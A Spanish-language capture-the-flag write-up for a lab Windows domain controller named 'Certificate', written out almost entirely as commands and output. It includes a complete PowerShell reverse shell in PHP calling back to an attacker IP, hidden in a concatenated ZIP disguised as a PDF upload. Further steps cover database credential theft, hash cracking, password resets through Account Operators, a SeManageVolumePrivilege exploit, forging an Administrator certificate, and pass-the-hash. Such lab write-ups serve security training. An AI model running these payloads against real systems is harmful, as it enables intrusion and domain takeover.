Certificate

Código malicioso PDF | Abusar de SeManageVolumenPrivilege


Escaneo:

  1   │ # Nmap 7.95 scan initiated Tue Jun  3 09:38:08 2025 as: /usr/lib/nmap/nmap --privileged -sC -sV -p53,80,88,135,139,389,445,464,593,636,3268,3269,5985,9389,49666,49687,49688,49690,49707,49712,49735 -oN 
       │ targeted 10.10.11.71
   2   │ Nmap scan report for 10.10.11.71
   3   │ Host is up (0.23s latency).
   4   │ 
   5   │ PORT      STATE    SERVICE       VERSION
   6   │ 53/tcp    open     domain        Simple DNS Plus
   7   │ 80/tcp    filtered http
   8   │ 88/tcp    open     kerberos-sec  Microsoft Windows Kerberos (server time: 2025-06-03 22:38:18Z)
   9   │ 135/tcp   open     msrpc         Microsoft Windows RPC
  10   │ 139/tcp   open     netbios-ssn   Microsoft Windows netbios-ssn
  11   │ 389/tcp   open     ldap          Microsoft Windows Active Directory LDAP (Domain: certificate.htb0., Site: Default-First-Site-Name)
  12   │ |_ssl-date: 2025-06-03T22:39:51+00:00; +8h00m01s from scanner time.
  13   │ | ssl-cert: Subject: commonName=DC01.certificate.htb
  14   │ | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.certificate.htb
  15   │ | Not valid before: 2024-11-04T03:14:54
  16   │ |_Not valid after:  2025-11-04T03:14:54
  17   │ 445/tcp   open     microsoft-ds?
  18   │ 464/tcp   open     kpasswd5?
  19   │ 593/tcp   open     ncacn_http    Microsoft Windows RPC over HTTP 1.0
  20   │ 636/tcp   open     ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: certificate.htb0., Site: Default-First-Site-Name)
  21   │ |_ssl-date: 2025-06-03T22:39:52+00:00; +8h00m01s from scanner time.
  22   │ | ssl-cert: Subject: commonName=DC01.certificate.htb
  23   │ | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.certificate.htb
  24   │ | Not valid before: 2024-11-04T03:14:54
  25   │ |_Not valid after:  2025-11-04T03:14:54
  26   │ 3268/tcp  open     ldap          Microsoft Windows Active Directory LDAP (Domain: certificate.htb0., Site: Default-First-Site-Name)
  27   │ |_ssl-date: 2025-06-03T22:39:51+00:00; +8h00m01s from scanner time.
  28   │ | ssl-cert: Subject: commonName=DC01.certificate.htb
  29   │ | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.certificate.htb
  30   │ | Not valid before: 2024-11-04T03:14:54
  31   │ |_Not valid after:  2025-11-04T03:14:54
  32   │ 3269/tcp  open     ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: certificate.htb0., Site: Default-First-Site-Name)
  33   │ |_ssl-date: 2025-06-03T22:39:51+00:00; +8h00m01s from scanner time.
  34   │ | ssl-cert: Subject: commonName=DC01.certificate.htb
  35   │ | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.certificate.htb
  36   │ | Not valid before: 2024-11-04T03:14:54
  37   │ |_Not valid after:  2025-11-04T03:14:54
  38   │ 5985/tcp  open     http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
  39   │ |_http-title: Not Found
  40   │ |_http-server-header: Microsoft-HTTPAPI/2.0
  41   │ 9389/tcp  open     mc-nmf        .NET Message Framing
  42   │ 49666/tcp open     msrpc         Microsoft Windows RPC
  43   │ 49687/tcp filtered unknown
  44   │ 49688/tcp filtered unknown
  45   │ 49690/tcp filtered unknown
  46   │ 49707/tcp filtered unknown
  47   │ 49712/tcp open     msrpc         Microsoft Windows RPC
  48   │ 49735/tcp filtered unknown
  49   │ Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
  50   │ 
  51   │ Host script results:
  52   │ | smb2-time: 
  53   │ |   date: 2025-06-03T22:39:11
  54   │ |_  start_date: N/A
  55   │ | smb2-security-mode: 
  56   │ |   3:1:1: 
  57   │ |_    Message signing enabled and required
  58   │ |_clock-skew: mean: 8h00m00s, deviation: 0s, median: 8h00m00s

Nos muestra el puerto 80:

Enumeramos los directorios:

gobuster dir -u "http://certificate.htb" -w /opt/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 -x php,html,js,css,asp,aspx

Si vamos a la página web dice esto:

Podemos ver que hay un espacio para subir archivos:

Despues de ver que acepta solamente .pdf subiremos uno de prueba:

Abrimos el Burpsuite para ver donde se guarda:

Efectivmente se puede ver:


Código malicioso PDF

🔹 1. Crear un archivo PDF simulado

echo "%PDF-1.4\n%EOF" > legit.pdf

Esto genera un archivo PDF vacío pero válido llamado legit.pdf, que servirá como contenido aparentemente inofensivo.


🔹 2. Crear un archivo ZIP “benigno”

zip benign.zip legit.pdf

Se crea benign.zip conteniendo el archivo PDF falso.


🔹 3. Crear directorio con contenido malicioso

mkdir malicious_files
cd malicious_files

Se genera una carpeta para almacenar el payload malicioso.


🔹 4. Crear archivo shell.php con una Reverse Shell en PowerShell

nano shell.php

Se edita el archivo shell.php e inserta el siguiente contenido:

<?php
shell_exec("powershell -nop -w hidden -c \"\$client = New-Object System.Net.Sockets.TCPClient('10.10.16.45',4444); \$stream = \$client.GetStream(); [byte[]]\$bytes = 0..65535|%{0}; while((\$i = \$stream.Read(\$bytes, 0, \$bytes.Length)) -ne 0){; \$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString(\$bytes,0,\$i); \$sendback = (iex \$data 2>&1 | Out-String ); \$sendback2 = \$sendback + 'PS ' + (pwd).Path + '> '; \$sendbyte = ([text.encoding]::ASCII).GetBytes(\$sendback2); \$stream.Write(\$sendbyte,0,\$sendbyte.Length); \$stream.Flush()}; \$client.Close()\"");
?>

Esta reverse shell abre una conexión a la IP 10.10.16.45 en el puerto 4444.


🔹 5. Volver al directorio anterior

cd ..

🔹 6. Comprimir el contenido malicioso

zip -r malicious.zip malicious_files/

Esto crea un archivo malicious.zip que contiene el script malicioso en malicious_files/shell.php.


🔹 7. Combinar ambos ZIPs en uno solo

cat benign.zip malicious.zip > combined.zip

Se genera un único archivo combined.zip que contiene ambos contenidos:

  • legit.pdf (inofensivo)

  • malicious_files/shell.php (payload)

Esta técnica se basa en que algunos analizadores de ZIP leen solo el primer índice de archivos, lo que puede permitir ocultar archivos maliciosos.


🔹 8. Subida del ZIP combinado al servidor

Se carga combined.zip en un sitio que lo descomprima automáticamente. Por ejemplo:

https://target.com/uploads/

🔹 9. Ejecutar el payload desde el navegador

https://target.com/uploads/malicious_files/shell.php

Al acceder a esta ruta, si el servidor permite la ejecución de archivos PHP subidos, se activará la reverse shell.


🔹 10. Esperar la conexión desde el servidor

En tu terminal local, ejecutas:

nc -nlvp 4444

Esto abre un listener con Netcat para recibir la conexión desde el servidor comprometido.


Se encontró una bd:


'certificate_webapp_user'
'cert!f!c@teDBPWD'

Ejecutamos el mysql en la maquina victim:

C:\xampp\mysql\bin

Bien con las credenciales ingresaremos a ver la db:

.\mysql.exe -u certificate_webapp_user -p"cert!f!c@teDBPWD" -D Certificate_WEBAPP_DB -e "SELECT * FROM users;"

Se encontró los usuarios:

Crakeamos los hashes y tenemos el hash de sara.b:

hashcat -m 3200 -a 0 hashes.txt /usr/share/wordlists/rockyou.txt
sara.b
Blink182

Miraremos el BloodHound:

python3 bloodhound.py -u 'Sara.B' -p 'Blink182' -d certificate.htb -dc dc01.certificate.htb -c All -ns 10.10.11.71
Acceder como LION.SK@certificate.htb aprovechando que SARA.B es miembro de Account Operators y tiene control total (GenericAll) sobre el usuario LION.SK.

Cambiar la contraseña de LION.SK

Usarnet rpc para resetear la contraseña de Lion.sk, porque Sara.B tiene privilegios suficientes gracias a Account Operators:

net rpc password "lion.sk" "newP@ssword2022" -U "certificate.htb/Sara.B%Blink182" -S 10.10.11.71
net rpc password "lion.sk" "newP@ssword2022" -U "certificate.htb"/"Sara.B"%"Blink182" -S certificate.htb

🔑 Esto cambia la contraseña de lion.sk sin necesidad de conocer la anterior.

✔️ Este abuso funciona porque “Account Operators” puede modificar cuentas que no son administradores ni protegidas.

Acceder vía WinRM con LION.SK

Una vez cambiada la contraseña, accediste remotamente con WinRM:

evil-winrm -u lion.sk -p 'newP@ssword2022' -i 10.10.11.71
  • Para rootear primero necesitamos cambiar la contraseña de Ryan.K e iniciar sesión a través de winrm.


¿Porqué podemos acceder al usurio de Ryan?

El usuario Sara.B pertenece al grupo Account Operators en Active Directory, lo que le permite: ✅ Modificar contraseñas de usuarios no protegidos (no administradores y no miembros de grupos sensibles como Domain Admins o Protected Users). ✅ Gestionar cuentas de usuarios normales, como lion.sk y ryan.k.


  • Encontramos una vuln:


Abusar de SeManageVolumenPrivilege


🔹 1. Conexión inicial como Ryan.K

Accediste a la máquina a través de WinRM luego de resetear su contraseña usando Sara.B:

net rpc password "Ryan.K" "newP@ssword2022" -U "certificate.htb"/"Sara.B"%"Blink182" -S certificate.htb
evil-winrm -i 10.10.11.71 -u 'Ryan.K' -p 'newP@ssword2022'

🔹 2. Verificación de privilegios

Dentro de la sesión WinRM, verificaste los privilegios del usuario:

whoami /priv

✅ Se detectó el privilegio SeManageVolumePrivilege, que permite montar volúmenes.


🔹 3. Ejecución del exploit

Descargaste y subiste el exploit público que abusa de ese privilegio:

📥 Descargar desde GitHub: SeManageVolumeExploit - por CsEnox

upload SeManageVolumeExploit.exe
.\SeManageVolumeExploit.exe

🟢 Si es exitoso, verás:

Ryan.K now has Full Control over C:\

🔹 4. Exportar certificado de la CA

Con control sobre C:, exportaste el certificado raíz de la CA:

certutil -exportPFX my "Certificate-LTD-CA" C:\Users\Public\ca.pfx
download ca.pfx

🔹 5. Forjar certificado de administrador

Con el ca.pfx exportado, forjaste un certificado que suplanta a Administrator:

certipy-ad forge -ca-pfx ca.pfx \
  -upn 'administrator@certificate.htb' \
  -subject 'CN=Administrator,CN=Users,DC=certificate,DC=htb' \
  -out forged_admin.pfx

🔹 6. Sincronizar hora para evitar errores Kerberos

Detectaste el error KRB_AP_ERR_SKEW (Clock skew too great) al autenticarte. Lo corregiste con:

sudo apt install ntpdate
sudo ntpdate 10.10.11.71

⏰ Resultado:

CLOCK: time stepped by XXXX seconds

🔹 7. Autenticación como Administrator

Tras sincronizar la hora, la autenticación fue exitosa y obtuviste el hash NTLM:

certipy-ad auth -pfx forged_admin.pfx \
  -dc-ip 10.10.11.71 \
  -username 'administrator' \
  -domain 'certificate.htb'

🔐 Resultado:

Got hash for 'administrator@certificate.htb':
aad3b435b51404eeaad3b435b51404ee:d804304519bf0143c14cbf1c024408c6

🔹 8. Acceso final como Administrator

Con el hash obtenido, accediste a la máquina con evil-winrm:

evil-winrm -i 10.10.11.71 -u administrator -H d804304519bf0143c14cbf1c024408c6

Y finalmente:

cd C:\Users\Administrator\Desktop
type root.txt

🎯 Flag root.txt obtenida:

3f1869a3223ce78cde9069209fc8b37

Last updated